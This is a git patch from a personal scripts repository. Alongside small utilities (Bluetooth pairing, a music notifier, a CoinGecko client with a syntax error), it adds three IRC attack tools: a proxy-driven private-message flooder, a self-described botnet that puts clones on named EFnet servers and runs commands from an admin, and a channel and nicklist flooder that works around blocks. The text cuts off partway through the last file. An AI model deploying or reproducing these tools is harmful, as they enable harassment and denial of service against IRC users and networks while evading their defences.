From d88c916f1d79daef9a4ffb69923b73240b46b015 Mon Sep 17 00:00:00 2001 From: acidvegas Date: Sun, 13 Nov 2022 22:19:03 -0500 Subject: [PATCH] reorganized stuff and added random WHAT THE FUCK --- btkb.sh | 12 ++ cmus-now | 4 + coingecko.py | 60 +++++++ gitserver.sh | 8 - irc/bots/badparent.py | 302 ++++++++++++++++++++++++++++++++ irc/bots/jupiter.py | 309 ++++++++++++++++++++++++++++++++ irc/bots/surge.py | 396 ++++++++++++++++++++++++++++++++++++++++++ lyrics.py | 7 + mutag | 12 ++ pass | 65 +++++++ tables.py | 19 ++ todo | 17 ++ vps.sh | 25 +++ 13 files changed, 1228 insertions(+), 8 deletions(-) create mode 100644 btkb.sh create mode 100755 cmus-now create mode 100644 coingecko.py delete mode 100644 gitserver.sh create mode 100644 irc/bots/badparent.py create mode 100644 irc/bots/jupiter.py create mode 100644 irc/bots/surge.py create mode 100644 lyrics.py create mode 100755 mutag create mode 100755 pass create mode 100644 tables.py create mode 100755 todo create mode 100644 vps.sh diff --git a/btkb.sh b/btkb.sh new file mode 100644 index 0000000..1280689 --- /dev/null +++ b/btkb.sh @@ -0,0 +1,12 @@ +#!/bin/sh +pacman -S bluez bluez-utils +systemctl enable bluetooth && sudo systemctl start bluetooth +sed -i 's/#AutoEnable=false/AutoEnable=true/' /etc/bluetooth/main.conf +bluetoothctl power on # possible bluetoothctl -- +bluetoothctl agent KeyboardOnly +bluetoothctl pairable on +bluetoothctl scan on +bluetoothctl pair CC:C5:0A:20:91:5B +bluetoothctl trust CC:C5:0A:20:91:5B +bluetoothctl connect CC:C5:0A:20:91:5B +bluetoothctl scan off \ No newline at end of file diff --git a/cmus-now b/cmus-now new file mode 100755 index 0000000..f99eeb8 --- /dev/null +++ b/cmus-now @@ -0,0 +1,4 @@ +#!/bin/sh +artist=`cmus-remote -Q | grep --text '^tag artist' | sed '/^tag artistsort/d' | awk '{gsub("tag artist ", "");print}'` +title=`cmus-remote -Q | grep --text '^tag title' | sed -e 's/tag title //' | awk '{gsub("tag title ", "");print}'` +notify-send "♫ $artist - $title" \ No newline at end of file diff --git a/coingecko.py b/coingecko.py new file mode 100644 index 0000000..84f7686 --- /dev/null +++ b/coingecko.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# CoinGecko API Class - Developed by acidvegas in Python (https://acid.vegas/coinmarketcap) + +''' +API Reference: https://www.coingecko.com/en/api#explore-api +''' + +import http.client +import json +import time + +class CoinGecko(): + def __init__(self): + self.cache = dict() + self.last = 0 + + def api(self, endpoint): + conn = http.client.HTTPSConnection('api.coingecko.com', timeout=15) + conn.request('GET', '/api/v3/' + endpoint, headers={'Accept':'application/json',}) + response = conn.getresponse().read().decode('utf-8') + conn.close() + return json.loads(response) + + def market(self): + if time.time() - self.last > 300: + page = 1 + while True: + data = self.api('coins/markets?vs_currency=usd&order=market_cap_desc&per_page=250&page=' + str(page) + '&sparkline=true&price_change_percentage=1h%2C24h%2C7d%2C30d%2C1y') + if not data: + break + for coin in data: + self.cache[coin['symbol']] = { + 'name' : coin['name'], + 'price' : coin['current_price'], + 'market_cap' : coin['market_cap'], + 'rank' : coin['market_cap_rank'], + 'volume' : coin['total_volume'], + 'change' : { + '1h' : coin['price_change_percentage_1h_in_currency'], + '1d' : coin['price_change_percentage_24h_in_currency'], + '1w' : coin['price_change_percentage_7d_in_currency'], + '1m' : coin['price_change_percentage_30d_in_currency'], + '1y' : coin['price_change_percentage_1h_in_currency'] + } + } + page += 1 + self.last = time.time() + return self.cache + + def trending(self): + return [coin['item']['symbol'] for coin in self.api('search/trending')['coins']] + + def global_(self): + data = self.api('global')['data'] + results = { + 'cryptocurrencies' : data['active_cryptocurrencies'] + 'markets' : data['markets'] + 'btc_dominance' : data['market_cap_percentage']['btc'] + } + return results \ No newline at end of file diff --git a/gitserver.sh b/gitserver.sh deleted file mode 100644 index bcc63b9..0000000 --- a/gitserver.sh +++ /dev/null @@ -1,8 +0,0 @@ -#/bin/sh -[ ! getent group ssh ] && groupadd ssh -[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells -[ ! $(getent passwd git > /dev/null) ] && userdel -f git -[ ! -d /srv/git ] && mkdir /srv/git -useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git -echo "PUBLICKEY" > /etc/ssh/authorized_keys/git -mkdir /srv/git/$1.git && git -C /srv/git/$1.git --bare init && chown -R git:git /srv/git/$1.git \ No newline at end of file diff --git a/irc/bots/badparent.py b/irc/bots/badparent.py new file mode 100644 index 0000000..43c5192 --- /dev/null +++ b/irc/bots/badparent.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python +# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots) +# badparent.py + +''' +The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc. +The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist. +Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist. +''' + +import argparse +import concurrent.futures +import os +import random +import ssl +import socket +import string +import sys +import threading +import time + +server = 'irc.server.com' +port = 6667 +nickname = 'BIGDADDY' +username = 'dad' +realname = 'I am horrible...' + +def alert(msg): + print(f'{get_time()} | [+] - {msg}') + +def debug(msg): + print(f'{get_time()} | [~] - {msg}') + +def error(msg, reason=None): + print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}') + +def error_exit(msg): + raise SystemExit(f'{get_time()} | [!] - {msg}') + +def get_time(): + return time.strftime('%I:%M:%S') + +def random_str(size): + return ''.join(random.choice(string.ascii_letters) for _ in range(size)) + +def unicode(): + msg = '' + for i in range(random.randint(400,450)): + msg += chr(random.randint(0x1000, 0x3000)) + return msg + + + + +class parent(object): + def __init__(self): + self.nicklist = list() + self.sock = None + + def connect(self): + try: + self.sock = socket.socket() + self.sock.connect((server, port)) + self.raw(f'USER {username} 0 * :{realname}') + self.raw('NICK ' + nickname) + except socket.error as ex: + error('Failed to connect to IRC server.', ex) + self.event_disconnect() + else: + self.listen() + + def event_connect(self): + if config.login.nickserv: + self.identify(config.ident.nickname, config.login.nickserv) + self.join_channel(config.connection.channel, config.connection.key) + + def event_disconnect(self): + error('The parent bot has disconected!') + self.sock.close() + + def event_end_of_names(self, chan): + if self.nicklist: + alert(f'Found {len(self.nicklist)} nicks in channel.') + threading.Thread(target=load_children).start() + else: + error('Failed to parse nicklist from channel.') + + def event_join(self, nick, chan): + if chan == config.connection.channel: + if nick not in self.nicklist: + self.nicklist.append(nick) + + def event_kick(self, nick, chan, kicked): + if chan == config.connection.channel: + if kicked == config.ident.nickname: + time.sleep(3) + self.join(self.chan, self.key) + + def event_names(self, chan, names): + if chan == config.connection.channel: + for name in names: + if name[:1] in '~!@%&+:': + name = name[1:] + if name != config.ident.nickname and name not in self.nicklist: + self.nicklist.append(name) + + def event_nick(self, nick, new): + if nick in self.nicklist: + self.nicklist.remove(nick) + self.nicklist.append(new) + + def event_nick_in_use(self): + self.raw('NICK ' + random_str(random.randint(4,7))) + + def event_quit(self, nick): + if nick in self.nicklist: + self.nicklist.remove(nick) + + def handle_events(self, data): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + self.event_connect() + elif args[1] == '433': + self.event_nick_in_use() + elif args[1] == '353': + chan = args[4] + if ' :' in data: + names = data.split(' :')[1].split() + elif ' *' in data: + names = data.split(' *')[1].split() + elif ' =' in data: + names = data.split(' =')[1].split() + else: + names = data.split(chan)[1].split() + self.event_names(chan, names) + elif args[1] == '366': + chan = args[3] + self.event_end_of_names(chan) + elif args[1] == 'JOIN': + nick = args[0].split('!')[0][1:] + chan = args[2][1:] + self.event_join(nick, chan) + elif args[1] == 'KICK': + chan = args[2] + kicked = args[3] + self.event_kick(nick, chan, kicked) + elif args[1] == 'NICK': + nick = args[0].split('!')[0][1:] + new = args[2][1:] + self.event_nick(nick, new) + elif args[1] == 'QUIT' : + nick = args[0].split('!')[0][1:] + self.event_quit(nick) + + def join_channel(self, chan, key=None): + self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): + self.handle_events(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except Exception as ex: + error('Unexpected error occured.', ex) + break + self.event_disconnect() + + def raw(self, msg): + self.sock.send(bytes(msg + '\r\n', 'utf-8')) + + + +class child: + def __init__(self, data_line): + self.data_line = data_line + self.sock = None + + def attack(self): + while True: + try: + if not Parent.nicklist: + error('Nicklist has become empty!') + break + for name in Parent.nicklist: + self.sendmsg(name, unicode()) + time.sleep(config.throttle.pm) + except: + break + + def connect(self): + try: + self.create_socket() + self.sock.connect((config.connection.server, config.connection.port)) + self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7)))) + self.raw('NICK ' + random_str(random.randint(4,7))) + except socket.error: + self.sock.close() + else: + self.listen() + + def create_socket(self): + family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET + if pargs.proxy: + proxy_server, proxy_port = self.data_line.split(':') + self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM) + self.sock.setblocking(0) + self.sock.settimeout(config.throttle.timeout) + self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port)) + elif pargs.vhost: + self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + self.sock.bind((self.data_line, 0)) + if config.connection.ssl: + self.sock = ssl.wrap_socket(self.sock) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + alert(f'Successful connection. ({self.data_line})') + threading.Thread(target=self.attack).start() + elif args[1] == '401': + nick = args[3] + self.event_bad_nick() + elif args[1] == '433': + self.raw('NICK ' + random_str(random.randint(4,7))) + elif args[1] == '486': + nick = args[-1:] + self.event_bad_nick(nick) + elif args[1] == '716': + nick = args[3] + if nick in Parent.nicklist: + Parent.nicklist.remove(nick) + elif args[1] == 'NOTICE': + if 'User does not accept private messages' in data: + nick = args[5][1:-1] + self.event_bad_nick(nick) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except: + break + self.sock.close() + + def raw(self, msg): + self.sock.send(bytes(msg + '\r\n', 'utf-8')) + + def sendmsg(self, target, msg): + self.raw(f'PRIVMSG {target} :{msg}') + + + +def load_children(): + debug('Loading children bots...') + for i in range(config.throttle.concurrency): + debug('Concurrency round starting....') + with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor: + checks = {executor.submit(child(item).connect): item for item in data_lines} + for future in concurrent.futures.as_completed(checks): + checks[future] + debug('Flooding is complete. (Threads still may be running!)') + +# Main +print('#'*56) +print('#{0}#'.format(''.center(54))) +print('#{0}#'.format('BadParent IRC PM Flooder'.center(54))) +print('#{0}#'.format('Developed by acidvegas in Python'.center(54))) +print('#{0}#'.format('https://acid.vegas/badparent'.center(54))) +print('#{0}#'.format(''.center(54))) +print('#'*56) +parser = argparse.ArgumentParser(usage='%(prog)s [options]') +parser.add_argument('input', help='file to scan') +parser.add_argument('-p', '--proxy', help='proxy list', action='store_true') +parser.add_argument('-v', '--vhost', help='vhost list', action='store_true') +pargs = parser.parse_args() +if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost): + error_exit('Invalid arguments.') +if pargs.proxy: + try: + import socks + except ImportError: + error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)') +if not os.path.isfile(pargs.input): + error_exit('No such input file.') +data_lines = [line.strip() for line in open(pargs.input).readlines() if line] +debug(f'Loaded {len(data_lines)} lines from file.') +random.shuffle(data_lines) +debug('Starting parent bot connection...') +Parent = parent() +Parent.connect() diff --git a/irc/bots/jupiter.py b/irc/bots/jupiter.py new file mode 100644 index 0000000..f4812d6 --- /dev/null +++ b/irc/bots/jupiter.py @@ -0,0 +1,309 @@ +#!/usr/bin/env python +# Jupiter IRC Botnet - Developed by acidvegas in Python (https://acid.vegas/jupiter) + +''' +Jupiter will create a botnet by connecting a defined number of clones to every EFMet server. +A single host could potentially create over 30 clones. +It is meant to monitor/jupe/hold nicks & be controlled to do just about anything. +The bot is designed to be very minimal, secure, & trustless by nature. +This means anyone can run a copy of your script on their server to help build your botnet. + +Commands + id | Send bot identity + raw [-d] | Send \ to server. optionally delayed with -d argument + monitor list | Return MONITOR list + monitor reset | Reset MONITOR list + monitor <+/-> | Add (+) or Remove (-) from MONITOR list. (Can be a single nick or comma seperated list) + +All commands must be prefixed with @all or the bots nick & will work in a channel or private message. +Raw data must be IRC RFC compliant data & any nicks in the MONITOR list will be juped as soon as they become available. + +It is highly recommended that you use a random spoofing ident protocol daemon: + https://github.com/acidvegas/random/blob/master/irc/identd.py +''' + +import random +import re +import socket +import ssl +import time +import threading + +# Connection +servers = ( + 'efnet.deic.eu', # IPv6 + 'efnet.port80.se', # IPv6 + 'efnet.portlane.se', # IPv6 + 'irc.choopa.net', # IPv6 + 'irc.colosolutions.net', + 'irc.du.se', + 'irc.efnet.fr', # IPv6 + 'irc.efnet.nl', # IPv6 +6669 + 'irc.homelien.no', # IPv6 + 'irc.mzima.net', # IPv6 +6697 + 'irc.nordunet.se', # IPv6 + 'irc.prison.net', + 'irc.underworld.no', # IPv6 + 'irc.servercentral.net' # +9999 +) +ipv6 = False +vhosts = None # Use (line.rstrip() for line in open('vhosts.txt','r').readlines() if line) for reading from a file. +channel = '#jupiter' +key = None + +# Settings +admin = 'nick!user@host' # Can use wildcards (Must be in nick!user@host format) +concurrency = 3 # Number of clones to load per server +id = 'TEST' # Unique ID so you can tell which bots belong what server + +# Formatting Control Characters / Color Codes +bold = '\x02' +reset = '\x0f' +green = '03' +red = '04' +purple = '06' +orange = '07' +yellow = '08' +light_green = '09' +cyan = '10' +light_cyan = '11' +light_blue = '12' +pink = '13' +grey = '14' + +# Globals +bots = list() + +def botlist(nick): + global bots + if nick[:1] == '+': + bots.append(nick[1:]) + elif nick[:1] == '-': + bots.remove(nick[1:]) + +def color(msg, foreground, background=None): + return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}' + +def debug(msg): + print(f'{get_time()} | [~] - {msg}') + +def error(msg, reason=None): + print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}') + +def get_time(): + return time.strftime('%I:%M:%S') + +def is_admin(ident): + return re.compile(admin.replace('*','.*')).search(ident) + +def random_nick(): + prefix = random.choice(['st','sn','cr','pl','pr','qu','br','gr','sh','sk','kl','wr']+list('bcdfgklmnprstvwz')) + midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz')) + suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led']+list('abcdfgklmnprstvwz')) + return prefix+midfix+suffix + +class clone(threading.Thread): + def __init__(self, server, vhost): + self.monlist = list() + self.nickname = random_nick() + self.server = server + self.sock = None + self.vhost = vhost + threading.Thread.__init__(self) + + def run(self): + time.sleep(random.randint(300,900)) + self.connect() + + def connect(self): + try: + self.create_socket() + self.sock.connect((server, 6667)) + self.raw(f'USER {random_nick()} 0 * :{random_nick()}') + self.nick(self.nickname) + except socket.error as ex: + error('Failed to connect to IRC server.', ex) + self.event_disconnect() + else: + self.listen() + + def create_socket(self): + ipv6_check = set([ip[4][0] for ip in socket.getaddrinfo(server,6667) if ':' in ip[4][0]]) + self.sock = socket.socket(socket.AF_INET6) if ipv6 and ipv6_check else socket.socket() + if self.vhost: + self.sock.bind((self.vhost,0)) + #self.sock = ssl.wrap_socket(self.sock) + + def event_connect(self): + if self.nickname not in bots: + botlist('+'+self.nickname) + if self.monlist: + self.monitor('+', self.monlist) + self.join_channel(channel, key) + + def event_ctcp(self, nick, target, msg): + if target == self.nickname: + self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('CTCP', green), color('<', grey), color(nick, yellow), color('>', grey), msg)) + + def event_disconnect(self): + if self.nickname in bots: + botlist('-'+self.nickname) + self.sock.close() + time.sleep(86400+random.randint(1800,3600)) + self.connect() + + def event_nick(self, nick, new_nick): + if nick == self.nickname: + self.nickname = new_nick + if new_nick in self.monlist: + self.monitor('C') + self.monlist = list() + elif nick in self.monlist: + self.nick(nick) + + def event_nick_in_use(self, nick, target_nick): + if nick == '*': + self.nickname = random_nick() + self.nick(self.nickname) + + def event_notice(self, nick, target, msg): + if target == self.nickname: + self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('NOTICE', purple), color('<', grey), color(nick, yellow), color('>', grey), msg)) + + def event_message(self, ident, nick, target, msg): + if is_admin(ident): + args = msg.split() + if args[0] in ('@all',self.nickname) and len(args) >= 2: + if len(args) == 2: + if args[1] == 'id': + self.sendmsg(target, id) + elif len(args) == 3 and args[1] == 'monitor': + if args[2] == 'list' and self.monlist: + self.sendmsg(target, '[{0}] {1}'.format(color('Monitor', light_blue), ', '.join(self.monlist))) + elif args[2] == 'reset' and self.monlist: + self.monitor('C') + self.monlist = list() + self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(self.monlist)), cyan), color('removed', red))) + elif args[2][:1] == '+': + nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick not in self.monlist] + if nicks: + self.monitor('+', nicks) + self.monlist += nicks + self.sendmsg(target, '{0} nick(s) have been {1} to the monitor list.'.format(color(str(len(nicks)), cyan), color('added', green))) + elif args[2][:1] == '-': + nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick in self.monlist] + if nicks: + self.monitor('-', nicks) + for mon_nick in nicks: + self.monlist.remove(mon_nick) + self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(nicks)), cyan), color('removed', red))) + elif len(args) >= 4 and args[1] == 'raw': + if args[2] == '-d': + data = ' '.join(args[3:]) + threading.Thread(target=self.raw, args=(data,True)).start() + else: + data = ' '.join(args[2:]) + self.raw(data) + elif target == self.nickname: + if msg.startswith('\x01ACTION'): + self.sendmsg(channel, '[{0}] {1}{2}{3} * {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg[8:][:-1])) + else: + self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg)) + + def event_mode(self, nick, chan, modes): + pass # Don't know what we are doing with this yet. + + def event_quit(self, nick): + if nick in self.monlist: + self.nick(nick) + + def handle_events(self, data): + args = data.split() + if data.startswith('ERROR :Closing Link:'): + raise Exception('Connection has closed.') + elif data.startswith('ERROR :Reconnecting too fast'): + raise Exception('Connection has closed. (throttled)') + elif args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': # RPL_WELCOME + self.event_connect() + elif args[1] == '433' and len(args) >= 4: # ERR_NICKNAMEINUSE + nick = args[2] + target_nick = args[3] + self.event_nick_in_use(nick, target_nick) + elif args[1] == '731' and len(args) >= 4: # RPL_MONOFFLINE + nick = args[3][1:] + self.nick(nick) + elif args[1] == 'MODE' and len(args) >= 4: + nick = args[0].split('!')[0][1:] + chan = args[2] + modes = ' '.join(args[:3]) + self.event_mode(nick, chan, modes) + elif args[1] == 'NICK' and len(args) == 3: + nick = args[0].split('!')[0][1:] + new_nick = args[2][1:] + self.event_nick(nick, new_nick) + elif args[1] == 'NOTICE': + nick = args[0].split('!')[0][1:] + target = args[2] + msg = ' '.join(args[3:])[1:] + self.event_notice(nick, target, msg) + elif args[1] == 'PRIVMSG' and len(args) >= 4: + ident = args[0][1:] + nick = args[0].split('!')[0][1:] + target = args[2] + msg = ' '.join(args[3:])[1:] + if msg[:1] == '\001': + msg = msg[1:] + self.event_ctcp(nick, target, msg) + else: + self.event_message(ident, nick, target, msg) + elif args[1] == 'QUIT': + nick = args[0].split('!')[0][1:] + self.event_quit(nick) + + def join_channel(self, chan, key=None): + self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): + debug(line) + self.handle_events(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except Exception as ex: + error('Unexpected error occured.', ex) + break + self.event_disconnect() + + def mode(self, target, mode): + self.raw(f'MODE {target} {mode}') + + def monitor(self, action, nicks=list()): + self.raw(f'MONITOR {action} ' + ','.join(nicks)) + + def nick(self, nick): + self.raw('NICK ' + nick) + + def raw(self, data, delay=False): + if delay: + time.sleep(random.randint(300,900)) + self.sock.send(bytes(data + '\r\n', 'utf-8')) + + def sendmsg(self, target, msg): + self.raw(f'PRIVMSG {target} :{msg}') + +# Main +if type(vhosts) == list: + for vhost in vhosts: + for i in range(concurrency): + for server in servers: + clone(server, vhost).start() +else: + for i in range(concurrency): + for server in servers: + clone(server, vhosts).start() +while True:input('') diff --git a/irc/bots/surge.py b/irc/bots/surge.py new file mode 100644 index 0000000..4016ff2 --- /dev/null +++ b/irc/bots/surge.py @@ -0,0 +1,396 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/trollbots) +# surge.py + +''' +- Action +- Color +- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)* +- Cycle *(Join/Part)* +- Hilight +- Invite +- Message / Private Message +- Nick +- Notice +- Topic +- Nick Registration (Channel & VHOST also if successful) + +The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked. +If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist. +''' + +import argparse +import concurrent.futures +import os +import random +import ssl +import socket +import string +import sys +import threading +import time + +class config: + class connection: + server = 'irc.server.com' + port = 6667 + ipv6 = False + ssl = False + password = None + channel = '#chats' + key = None + + class attacks: + channel = ['action','color','ctcp','msg','nick','notice','part','topic'] + message = 'SURGE SURGE SURGE SURGE SURGE' + nicklist = ['ctcp','invite','notice','private'] + + class throttle: + attack = 3 + concurrency = 3 + threads = 100 + rejoin = 3 + timeout = 15 + +# Bad IRC Numerics +bad_numerics = { + '465' : 'ERR_YOUREBANNEDCREEP', + '471' : 'ERR_CHANNELISFULL', + '473' : 'ERR_INVITEONLYCHAN', + '474' : 'ERR_BANNEDFROMCHAN', + '475' : 'ERR_BADCHANNELKEY', + '477' : 'ERR_NEEDREGGEDNICK', + '519' : 'ERR_TOOMANYUSERS' +} + +def alert(msg): + print(f'{get_time()} | [+] - {msg}') + +def debug(msg): + print(f'{get_time()} | [~] - {msg}') + +def error(msg, reason=None): + if reason: + print(f'{get_time()} | [!] - {msg} ({reason})') + else: + print(f'{get_time()} | [!] - {msg}') + +def error_exit(msg): + raise SystemExit(f'{get_time()} | [!] - {msg}') + +def get_time(): + return time.strftime('%I:%M:%S') + +def keep_alive(): + try: + while True: + input('') + except KeyboardInterrupt: + sys.exit() + +def random_int(min, max): + return random.randint(min, max) + +def random_str(size): + return ''.join(random.choice(string.ascii_letters) for _ in range(size)) + +class clone: + def __init__(self, data_line): + self.data_line = data_line + self.invite_channel = '#' + random_str(random_int(4,7)) + self.invite_count = 0 + self.nickname = random_str(random_int(4,7)) + self.nicklist = [] + self.sock = None + + def run(self): + self.connect() + + def action(self, chan, msg): + self.sendmsg(chan, f'\x01ACTION {msg}\x01') + + def attack_channel(self): + while True: + if not config.attacks.channel: + error('Channel attack list is empty.') + break + else: + option = random.choice(config.attacks.channel) + try: + if option in ('nick','part','topic'): + if option == 'nick': + self.nickname = random_str(random_int(4,7)) + self.nick(self.nickname) + elif option == 'part': + self.part(config.connection.channel, config.attacks.message) + time.sleep(config.throttle.rejoin) + self.join_channel(config.connection.channel, config.connection.key) + elif option == 'topic': + self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10)))) + else: + if self.nicklist: + message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3)))) + else: + message = self.rainbow(config.attacks.message) + if option == 'action': + self.action(config.connection.channel, message) + elif option == 'ctcp': + self.ctcp(config.connection.channel, message) + elif option == 'msg': + self.sendmsg(config.connection.channel, message) + elif option == 'notice': + self.notice(config.connection.channel, message) + time.sleep(config.throttle.attack) + except: + break + + def attack_nicklist(self): + while True: + if not self.nicklist: + error('Nicklist attack list is empty.') + break + else: + try: + for nick in self.nicklist: + option = random.choice(config.attacks.nicklist) + if option == 'ctcp': + self.ctcp(nick, random.choice(('PING','TIME','VERSION'))) + elif option == 'invite': + self.invite(nick, self.invite_channel) + self.invite_count += 1 + if self.invite_count >= 10: + self.part(self.invite_channel) + self.invite_channel = '#' + random_str(random_int(5,8)) + self.join(self.invite_channel) + elif option == 'notice': + self.notice(nick, config.attacks.message) + elif option == 'private': + self.sendmsg(nick, self.rainbow(config.attacks.message)) + time.sleep(config.throttle.attack) + except: + break + + def connect(self): + try: + self.create_socket() + self.sock.connect((config.connection.server, config.connection.port)) + self.register() + except socket.error: + self.sock.close() + else: + self.listen() + + def create_socket(self): + family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET + if pargs.proxy: + proxy_server, proxy_port = self.data_line.split(':') + self.sock = socks.socksocket(family, socket.SOCK_STREAM) + self.sock.setblocking(0) + self.sock.settimeout(config.throttle.timeout) + self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port)) + elif pargs.vhost: + self.sock = socket.socket(family, socket.SOCK_STREAM) + self.sock.bind((self.data_line, 0)) + if config.connection.ssl: + self.sock = ssl.wrap_socket(self.sock) + + def ctcp(self, target, data): + self.sendmsg(target, f'\001{data}\001') + + def event_connect(self): + alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})') + self.join_channel(config.connection.channel, config.connection.key) + self.join_channel(self.invite_channel) + + def event_end_of_names(self): + threading.Thread(target=self.attack_channel).start() + threading.Thread(target=self.attack_nicklist).start() + + def event_kick(self, chan, kicked): + if kicked == self.nickname: + time.sleep(config.throttle.rejoin) + self.join_channel(config.connection.channel, config.connection.key) + else: + if nick in self.nicklist: + self.nicklist.remove(nick) + + def event_names(self, chan, names): + for name in names: + if name[:1] in '~!@%&+:': + name = name[1:] + if name != self.nickname and name not in self.nicklist: + self.nicklist.append(name) + + def event_nick_in_use(self): + self.nickname = random_str(random_int(5,8)) + self.nick(self.nickname) + + def event_quit(self, nick): + if nick in self.nicklist: + self.nicklist.remove(nick) + + def handle_events(self, data): + args = data.split() + if args[0] == 'PING': + self.raw('PONG ' + args[1][1:]) + elif args[1] == '001': + self.event_connect() + elif args[1] == '353': + chan = args[4] + if ' :' in data: + names = data.split(' :')[1].split() + elif ' *' in data: + names = data.split(' *')[1].split() + elif ' =' in data: + names = data.split(' =')[1].split() + else: + names = data.split(chan)[1].split() + self.event_names(chan, names) + elif args[1] == '366': + self.event_end_of_names() + elif args[1] == '401': + name = args[3] + if name in self.nicklist: + self.nicklist.remove(name) + elif args[1] == '404': + if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel: + config.attacks.channel.remove('action') + elif 'Color is not permitted' in data and 'color' in config.attacks.channel: + config.attacks.channel.remove('color') + elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel: + config.attacks.channel.remove('ctcp') + elif 'You need voice' in data or 'You must have a registered nick' in data: + for attack in ('action','ctcp','msg','notice','topic'): + if attack in config.attacks.channel: + config.attacks.channel.remove(attack) + elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel: + self.attacks_channel.remove('notice') + elif args[1] == '433': + self.event_nick_in_use() + elif args[1] == '447': + if 'nick' in config.attacks.channel: + config.attacks.channel.remove('nick') + elif args[1] == '482': + if 'topic' in config.attacks.channel: + config.attacks.channel.remove('topic') + elif args[1] == '492': + if 'ctcp' in config.attacks.nicklist: + config.attacks.nicklist.remove('ctcp') + elif args[1] == '499': + if 'topic' in config.attacks.channel: + config.attacks.channel.remove('topic') + elif args[1] == '518': + if 'invite' in config.attacks.nicklist: + config.attacks.nicklist.remove('invite') + elif args[1] in bad_numerics: + error('Flood protection has been enabled!', bad_numerics[args[1]]) + self.sock.close() + elif args[1] == 'KICK': + chan = args[2] + kicked = args[3] + self.event_kick(chan, kicked) + elif args[1] == 'QUIT': + nick = args[0].split('!')[0][1:] + self.event_quit(nick) + + def invite(self, nick, chan): + self.raw(f'INVITE {nick} {chan}') + + def join_channel(self, chan, key=None): + if key: + self.raw(f'JOIN {chan} {key}') + else: + self.raw('JOIN ' + chan) + + def listen(self): + while True: + try: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if line): + if len(line.split()) >= 2: + self.handle_events(line) + except (UnicodeDecodeError,UnicodeEncodeError): + pass + except: + break + self.sock.close() + + def nick(self, nick): + self.raw('NICK ' + nick) + + def notice(self, target, msg): + self.raw(f'NOTICE {target} :{msg}') + + def part(self, chan, msg): + self.raw(f'PART {chan} :{msg}') + + def rainbow(self, msg): + if 'color' in config.attacks.channel: + message = '' + for i in range(random_int(10,20)): + message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄') + message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg) + for i in range(random_int(10,20)): + message += 